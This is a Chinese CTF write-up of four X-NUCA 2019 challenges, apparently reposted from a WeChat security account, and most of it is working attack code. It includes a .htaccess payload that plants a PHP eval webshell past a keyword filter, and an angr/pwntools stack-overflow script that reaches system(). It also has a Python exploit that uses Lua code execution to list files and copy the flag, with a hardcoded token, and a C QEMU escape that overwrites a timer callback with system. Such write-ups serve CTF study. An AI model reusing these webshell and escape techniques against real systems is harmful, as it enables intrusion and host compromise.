X-NUCA'2019 部分题目WP
2019-08-26 19:00:00 Author: mp.weixin.qq.com(查看原文) 阅读量:106 收藏

0x00 前言

题目质量好高,题目好评

0x01 Ezphp

题目描述

ezphp php for beginner.

hint: no race condition

题目解答

题目环境:apache+php

题目源码:

<?php     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     include_once("fl3g.php");     if(!isset($_GET['content']) || !isset($_GET['filename'])) {         highlight_file(__FILE__);         die();     }     $content = $_GET['content'];     if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {         echo "Hacker";         die();     }     $filename = $_GET['filename'];     if(preg_match("/[^a-z\.]/", $filename) == 1) {         echo "Hacker";         die();     }     $files = scandir('./');      foreach($files as $file) {         if(is_file($file)){             if ($file !== "index.php") {                 unlink($file);             }         }     }     file_put_contents($filename, $content . "\nJust one chance"); ?>

有两次unlink,而且文件名不允许/的存在,所以想要避开unlink的删除,是基本不可能的了。

前面在内容限制了很多字符,之后查文档,发现字符几乎全部来自.htaccess.user.ini 这两个可用来getshell的方法当中,查询新的可利用字段也没有得到什么好的点子。

所以问题就又回到了对 stristr 函数过滤掉的字符的bypass上来(正则实在过不去....,也没办法把这个函数给dis掉)

所以根据码代码时的换行符以及连接符可以联想构造出如下payload来getshell

php_value%20auto_prepend_fi\%0Ale%20".htaccess"%0AErrorDocument%20404%20"<?php%20var_dump(eval($_GET[1]));?>\\


最终执行命令得到flag


0x02 AEG

题目描述

nc 117.50.100.23 42353

增加nc 117.50.93.78 10001

hints:

1) Search the strings carefully and we see the shining target through the fog of interesting tricks.

2) we have edited some logic of the rop.

题目解答

程序有大概20个switch case,并且其中有嵌套循环,每个switch case只有一条正确出路,判断一下重复地址即可。 最后有个栈溢出,覆盖地址为lea rdi,'/bin/cat flag'处执行system即可。

脚本如下:

import angrfrom pwn import *from z3 import *import hashlibimport base64import osimport binascii
def get_md5(s): m = hashlib.md5() m.update(s) return m.hexdigest()
def change_ld(binary, ld): """ Force to use assigned new ld.so by changing the binary """ if not os.access(ld, os.R_OK): log.failure("Invalid path {} to ld".format(ld)) return None if not isinstance(binary, ELF): if not os.access(binary, os.R_OK): log.failure("Invalid path {} to binary".format(binary)) return None binary = ELF(binary) for segment in binary.segments: if segment.header['p_type'] == 'PT_INTERP': size = segment.header['p_memsz'] addr = segment.header['p_paddr'] data = segment.data() if size <= len(ld): log.failure("Failed to change PT_INTERP from {} to {}".format(data, ld)) return None binary.write(addr, ld.ljust(size, '\0').encode('utf-8')) if not os.access('/tmp/pwn', os.F_OK): os.mkdir('/tmp/pwn') path = '/tmp/pwn/{}_debug'.format(os.path.basename(binary.path)) if os.access(path, os.F_OK): os.remove(path) log.info("Removing exist file {}".format(path)) binary.save(path) os.chmod(path, 0b111000000) #rwx------ log.success("PT_INTERP has changed from {} to {}. Using temp file {}".format(data, ld, path)) return ELF(path)
magic_num = 0x180def get_end(addr): for i in range(addr,addr+magic_num): #print(elf.read(i,3)) if elf.read(i,3) == b"\x90\xc9\xc3": #print('find end :%s'%hex(i)) return i raise('not find end!')
def get_jmp_rax(addr): for i in range(addr,addr-magic_num,-1): if elf.read(i,2) == b'\xff\xe0': #print('find jmp rax :%s'%hex(i)) return i return None
def get_all_switch(addr): the_end = get_end(addr) the_jmp_rax = get_jmp_rax(the_end) res = [] aid = 0 for i in range(the_jmp_rax,the_end): ins = elf.read(i,5) if ins == b'\xb8'+b'\x00'*4: aid += 1 next_addr = (i+10+u32(elf.read(i+6,4)))&0xffffffff if next_addr not in all_switch and next_addr not in all_no_use: node = cfg.get_any_node(next_addr) if node.successors[0].addr != 0x400900: #plt_exit res.append((next_addr,aid)) return res
def check(addr): node = cfg.get_any_node(addr) suc = node.successors if suc[0].addr == 0x4008b0: # & return 0 return 1 # ^
def deal_check(addr,op=None): #print(hex(addr)+' '), if check(addr) == 0: #print('calc') num1 = ord(elf.read(addr+0x7c,1)) num2 = ord(elf.read(addr+0x8e,1)) num3 = ((num1*num2)&(num1+num2))&0xff if op == None: op = 0x61 return bytes((num1,num2,num3,op,10)) else: #print('random') data = io.recv(8) data = u64(data) print(hex(data)) num = u64(elf.read(addr+0x29+2,8)) print(hex(num)) x = BitVecs('x',64)[0] solver = Solver() solver.add( ((x << 39)^num*(x >> 25)) == data ) solver.check() res = solver.model() num = res[x] if op == None: op = 0x61 return p64(num.as_long())+bytes((op,10))
filename = './aeg_0'
io = remote('117.50.93.78', 10001)io.recvuntil('Start Pow\n')the_md5 = io.recvuntil('\n',drop=True)data = io.recvuntil('\n',drop=True)print(data)prefix = binascii.a2b_hex(data[:-1])st = int(data.decode('utf-8')[-1],16)<<4print(hex(st))found = 0for a in range(st,st+0x10): if found: break for b in range(0x100): if found: break for c in range(0x100): tmp = prefix + bytes((a,b,c)) calc = get_md5(tmp) #print(type(calc)) #print(the_md5) if calc == the_md5.decode('utf-8'): #print(binascii.b2a_hex(tmp)) io.sendline(binascii.b2a_hex(tmp)) found = 1 breakif found == 0: print("not found hash!!") exit()
token = 'icqd741eeee3154b1c8fc866fe18e468'io.sendlineafter('token:',token)io.recvuntil('Start:\n')binary_b64 = ''.join(io.recvuntil('End.\n',drop=True).decode('utf-8').split('\n'))#print binary_b64binary_b64 = base64.b64decode(binary_b64)#print hex(len(binary_b64))with open('aeg_0.tar.xz','wb') as f: f.write(binary_b64) f.close()os.system('xz -d aeg_0.tar.xz;mv aeg_0.tar aeg_0;chmod +x aeg_0')
elf = ELF(filename)
p = angr.Project(filename,load_options={'auto_load_libs': False})cfg = p.analyses.CFGFast()
aid = 0for addr,b in cfg.kb.functions.items(): aid += 1 if aid == 133: main_addr = addr print('main_addr found! at %s'%hex(main_addr)) break
aid = 0for addr,b in cfg.kb.functions.items(): aid += 1 if aid >= 133: break if aid >= 18 and aid < 133: #print(hex(addr)) start_node = cfg.get_any_node(addr) pre = start_node.predecessors if len(pre) > 0: if pre[0].addr - 0xf1 == main_addr: print('start_node found! at %s'%hex(start_node.addr)) break
#tmp_elf = change_ld(filename,'./ld-2.27.so')#io = tmp_elf.process(env={'LD_PRELOAD':'./libc.so.6'})#context.log_level='debug'#context.terminal = ['tmux', 'split', '-h']#gdb.attach(io)#,"b *0x4BFB070")#input()#context.log_level='debug'io.recvuntil('Start.\n')
ans = b""tmp = deal_check(start_node.addr)print('++++++++++++++++++')io.send(tmp)
the_end = get_end(start_node.addr)start_node_next = (the_end-0x11+5+u32(elf.read(the_end-0x10,4)))&0xffffffffprint('start_node_next :%s'%hex(start_node_next))
all_no_use = []all_switch = []
all_switch.append(start_node_next)
all_next_switch = get_all_switch(start_node_next)#print(all_next_switch)
for next_switch,switch_num in all_next_switch: the_end = get_end(next_switch) the_jmp_rax = get_jmp_rax(the_end) if the_jmp_rax == None: all_no_use.append(next_switch) else: real_next_switch = next_switch tmp = deal_check(start_node_next,op=0x60+switch_num) ans += tmp io.send(tmp)all_switch.append(real_next_switch)#print(all_switch)#print(ans)for i in range(18): all_next_switch = get_all_switch(real_next_switch) tmp_no_use = [] #print(all_next_switch) for next_switch,switch_num in all_next_switch: check_next = get_all_switch(next_switch) if len(check_next) < 4: tmp_no_use.append(next_switch) else: tmp = deal_check(real_next_switch,op=0x60+switch_num) ans += tmp io.send(tmp) real_next_switch = next_switch all_switch.append(real_next_switch) all_no_use.extend(tmp_no_use) if len(all_no_use) > 3: all_no_use = all_no_use[-3:] if len(all_switch) > 3: all_switch = all_switch[-3:]
print(hex(real_next_switch))
all_next_switch = get_all_switch(real_next_switch)for next_switch,switch_num in all_next_switch: try: check_next = get_all_switch(next_switch) except: tmp = deal_check(real_next_switch,op=0x60+switch_num) io.send(tmp) real_next_switch = next_switch
print(hex(real_next_switch))
context.log_level='debug'
tmp = deal_check(real_next_switch,op=0x77)io.send(tmp)
eval_addr = cfg.get_any_node(0x400890).predecessors[0].addrprint('eval_addr :%s'%hex(eval_addr))#print(len(ans))#print(ans)
#io.recvuntil('Congratulation')sleep(0.1)io.send(p64(eval_addr)*4)io.interactive()

0x03 ls

题目描述

there are two flags in the form of xnuca{…}. Please submit the concatenation of the two string between the brackets (brackets not included). E.g. if the first flag is xnuca{here_is_flag1}, the second flag is xnuca{here_is_flag2}, please submit: here_is_flag1here_is_flag2.

NOTICE: The following host port isn't this program's service.

nc 4438af7809b0.gamectf.com 9901

nc 55a11bac354f.gamectf.com 9901

题目解答

首先把题目逆一下,发现逻辑是非常简单的,但是二进制里面实际上带了一个lua解释器,真正需要看的是lua代码,代码就在程序里面,但是做了压缩,blzpack,搜一下就可以知道怎么解压拿到代码,我是直接等程序解压完,从内存里读出来的,一共有一万多行,关键部分如下。

 -- do reverse    if req_method == "POST" and req_headers:get("referer") == 'xnuca' then        local cl = req_headers:get("content-length")        local x = tonumber(stream.connection:read_body_by_length(tonumber(cl)))        local res = (secret + x )  < (secret - 3 * x) and 1 or 0        res_headers:upsert(":status", "201")    res_headers:append("content-type", "text/plain")        assert(stream:write_headers(res_headers, false))        stream:write_chunk(tostring(res)..'\n',false)        for i = 0,255,1        do            stream:write_chunk('number?'..'\n',false)            local tmp = stream.connection:read_body_by_length(2)            local num_of_digits = tonumber(tmp)            if num_of_digits == -1 then break end            local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits))            calc_oracle(new_x)        end        stream:write_chunk('did you get the secret?'..'\n',false,5)        local num_of_digits = tonumber(stream.connection:read_body_by_length(2))        stream:write_chunk('your guess?'..'\n',false,5)        local ans = tonumber(stream.connection:read_body_by_length(num_of_digits))        if ans == secret then            stream:write_chunk("correct, here is your flag 1:\n")            re_flag=io.open("flag1.txt",'r')            tmp=re_flag:read "*a"            stream:write_chunk(tmp)        elseif ans > secret then            print(secret,ans)            stream:write_chunk("nope.")            return         else            stream:write_chunk("nope.")            return        end    end
-- do pwn if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then local body_length = tonumber(stream.connection:read_body_by_length(4)) local body = stream.connection:read_body_by_length(body_length) -- print(cl,body) hex_dump(body) x = load(body) x() return end

这样看来就很明确了,先做一个逆向,猜出secret 得一个flag,再任意代码执行,获取另一个flag。

关于逆向,需要利用lua的整数溢出特性,利用二分法来找一个临界值,进而算出可能的 secret 值,这里就比较坑了,我的方法实测成功率约20%;关于任意代码执行,也比较坑,首先需要列目录,将结果放到 work_dir 里,再去读flag文件。

此外还要写个申请docker的程序。

#https://github.com/matrix1001/welpwnfrom PwnContext import *
try: from IPython import embed as ipyexcept ImportError: print ('IPython not installed.')
if __name__ == '__main__': context.terminal = ['tmux', 'splitw', '-h'] context.log_level = 'debug' # functions for quick script s = lambda data :ctx.send(str(data)) #in case that data is an int sa = lambda delim,data :ctx.sendafter(str(delim), str(data)) sl = lambda data :ctx.sendline(str(data)) sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data)) r = lambda numb=4096 :ctx.recv(numb) ru = lambda delims, drop=True :ctx.recvuntil(delims, drop) irt = lambda :ctx.interactive() rs = lambda *args, **kwargs :ctx.start(*args, **kwargs) dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs) # misc functions uu32 = lambda data :u32(data.ljust(4, '\0')) uu64 = lambda data :u64(data.ljust(8, '\0'))
def crack(s): chrset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEF' for c1 in chrset: for c2 in chrset: for c3 in chrset: for c4 in chrset: for c5 in chrset: test = c1 + c2 + c3 + c4 + c5 if sha256sumhex(test) == s: return test error('fail to crack hash: {}'.format(s))
# 申请docker ctx.remote = ('55a11bac354f.gamectf.com', 9901) rs('remote') sla('token', 'icqd741eeee3154b1c8fc866fe18e468') ru('== \'') some_hash = ru('\'') sla('is :', crack(some_hash)) r() # 申请完自己填ip端口什么的
def toluaint(i): i = i & 0xffffffffffffffff if i > 0x8000000000000000: return -(0x10000000000000000 - i) else: return i def http_packet(content, ua='test'): packetfmt = '''POST / HTTP/1.1\rContent-Length: {}\rContent-Type: text/html\rConnection: keep-alive\rAccept: */*\rReferer: xnuca\rUser-Agent: {}\r\r{}\r''' return packetfmt.format(len(content)+2, ua, content) def getresult(x): ctx.clean() length = len(hex(x)) s(length) s(hex(x)) ru('2\r\n') result = ru('\n') if result == '1': return True elif result == '0': return False else: error('error result:{}'.format(result)) def crack(): a = 0 min = 0x8000000000000000 max = 0x10000000000000000 while True: x = (max + min) / 2 print('count:', a) #print('max:', max) #print('min:', min) #print('mid:', x) if (max == min+1): break if(getresult(x)): max = x else: min = x a += 1 print('possible result from \n{}\nto\n{}\n'.format( hex(toluaint(min*3)+0x8000000000000000), hex(toluaint(max*3)+0x8000000000000000))) return hex(toluaint(min*3)+0x8000000000000000) ctx.remote = ('117.50.64.144', 26544) #ctx.remote = ('localhost', 8000) rs('remote') s(http_packet('1', ua='ww9210')) context.log_level = 'info' min_val = crack() context.log_level = 'debug' s(-1) sa('did you get the secret', len(min_val)) sa('your guess', min_val) ru('\r\n') msg_len = int(ru('\r\n'), 16) msg = r(msg_len) ru('\r\n') if 'flag 1' in msg: success('get flag1') else: error('no flag1') flag1_len = int(ru('\r\n'), 16) flag1 = r(flag1_len) ru('\r\n')
payload = '''require 'lfs'function getpaths(rootpath, pathes) pathes = pathes or {} for entry in lfs.dir(rootpath) do if entry ~= '.' and entry ~= '..' then local path = rootpath..'/'..entry local attr = lfs.attributes(path) assert(type(attr) == 'table') if attr.mode == 'directory' then getpaths(path, pathes) else table.insert(pathes, path) end end end return pathesend
f=io.open("./work_dir/path", 'w')pathes = {}getpaths('.', pathes)for i = 1, #(pathes) do f:write(pathes[i]) f:write(' ')endf:close()''' payload2 = '''function common_copy(sourcefile,destinationfile) local temp_content =""; io.input(sourcefile) temp_content = io.read("*a") io.output(destinationfile) io.write(temp_content) io.flush() io.close()endcommon_copy("./flag009d9713831dca08e944ed901aede7f1.txt", "./work_dir/test")''' # 这里就先发payload,等拿到flag文件名,再发payload2 s(str(len(payload2)).ljust(4, ' ')) s(payload2) ctx.recvall()

0x04 vexx

题目描述

user: root

pass: goodluck

Try to escape the QEMU world!

nc 35f56326858b.gamectf.com 30007

增加 nc ec3247983443.gamectf.com 30007

题目解答

利用ioport write将opaque->memorymode设为1,就可以通过设置opaque->req.offset,在vexx_cmb_write以及vexx_cmb_read函数中对opaque->req.req_buf进行越界读写,由于该buf后存在一个timer结构体,可以利用越界读获取堆地址以及程序基址。然后利用越界写将timer结构体中的cb覆盖为system地址,opaque覆盖为参数地址,最终触发timer,拿到flag:flag{SOEASY_Escape_qemu_from_timer}

Exp 如下:

#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include<sys/io.h>

uint32_t mmio_addr = 0xfebd6000;uint32_t mmio_size = 0x1000;uint32_t cmb_addr = 0xfebd0000;uint32_t cmb_size = 0x4000;
unsigned char* mmio_mem;unsigned char* cmb_mem;uint32_t pmio_base=0x230;
void die(const char* msg){ perror(msg); exit(-1);}
void* mem_map( const char* dev, size_t offset, size_t size ){ int fd = open( dev, O_RDWR | O_SYNC ); if ( fd == -1 ) { return 0; }
void* result = mmap( NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, offset );
if ( !result ) { return 0; }
close( fd ); return result;}
uint8_t mmio_read(uint32_t addr){ return *((uint8_t*) (mmio_mem+addr));}
void mmio_write(uint32_t addr, uint8_t value){ *( (uint32_t *) (mmio_mem+addr) ) = value;}

uint8_t cmb_read(uint32_t addr){ return *((uint8_t*) (cmb_mem+addr));}
void cmb_write(uint32_t addr, uint8_t value){ *( (uint8_t *) (cmb_mem+addr) ) = value;}
void pmio_write(uint32_t addr, uint32_t value){ outb(value,addr);}

uint8_t pmio_read(uint32_t addr){ return (uint32_t)inb(addr);}
void set_offset(uint32_t value){ pmio_write(pmio_base+0x10, value);}
void set_memorymode(uint32_t value){ pmio_write(pmio_base+0x0, value);}
uint8_t arbitrary_read(uint32_t offset){
set_offset(offset); return cmb_read(0x100);}
void arbitrary_write(uint32_t offset, uint8_t value){ set_offset(offset); cmb_write(0x100, value);}
void normal_write(uint32_t offset, uint8_t value){ set_offset(offset); cmb_write(0x0, value);}
int main(int argc, char *argv[]){ //step 1 mmap /dev/mem to system, (man mem) to see the detail system( "mknod -m 660 /dev/mem c 1 1" );
//step2 map the address to fd mmio_mem = mem_map( "/dev/mem", mmio_addr, mmio_size ); if ( !mmio_mem ) { die("mmap mmio failed"); }
cmb_mem = mem_map( "/dev/mem", cmb_addr, cmb_size ); if ( !cmb_mem ) { die("mmap cmb mem failed"); } // Open and map I/O memory for the strng device if (iopl(3) !=0 ) die("I/O permission is not enough");
set_memorymode(1); uint64_t heap_addr=0,tmp; uint32_t i; for (i=0;i<8;i++) { tmp = arbitrary_read(0x40+i); heap_addr=heap_addr+(tmp<<(i*8)); } printf("leaking heap address: 0x%lx\n",heap_addr);
uint64_t pro_addr=0; for (i=0;i<8;i++) { tmp = arbitrary_read(0x38+i); pro_addr=pro_addr+(tmp<<(i*8)); } printf("leaking pro address: 0x%lx\n",pro_addr); uint64_t pro_base= pro_addr-0x4DCF10; uint64_t system_plt=pro_base+0x2AB860; char *para="ls&&cat ./flag"; for(i=0; i< strlen(para); i++) { normal_write(0x0+i,para[i]); }
uint64_t para_addr=heap_addr+0xb90; for(i=0; i<8; i++) { arbitrary_write(0x38+i,((char*)&system_plt)[i]); }
for(i=0; i<8; i++) { arbitrary_write(0x40+i, ((char*)&para_addr)[i]); } mmio_write(0x98,1);

}

0x05  实操推荐

radare2实战通过本课程系列实验学会使用radare2入门到进阶到高阶的使用技术,学会使用radare2在实际工作学习中分析二进制程序。
长按下面二维码,或点击文末“阅读原文”开始做实验哦(PC端操作最佳哟)
长按开始学习

别忘了投稿哦

大家有好的技术原创文章

欢迎投稿至邮箱:[email protected]

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予200元-800元不等的稿费哦

有才能的你快来投稿吧!

了解投稿详情点击——重金悬赏 | 合天原创投稿涨稿费啦!


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&amp;mid=2652851746&amp;idx=1&amp;sn=4cb785c987583e632ceb4777b21af24a&amp;chksm=bd5932ef8a2ebbf928e1e2f74f6cf13102fb57c07453c489638ee47c54b138fd6a14c6ef40b3#rd
如有侵权请联系:admin#unsafe.sh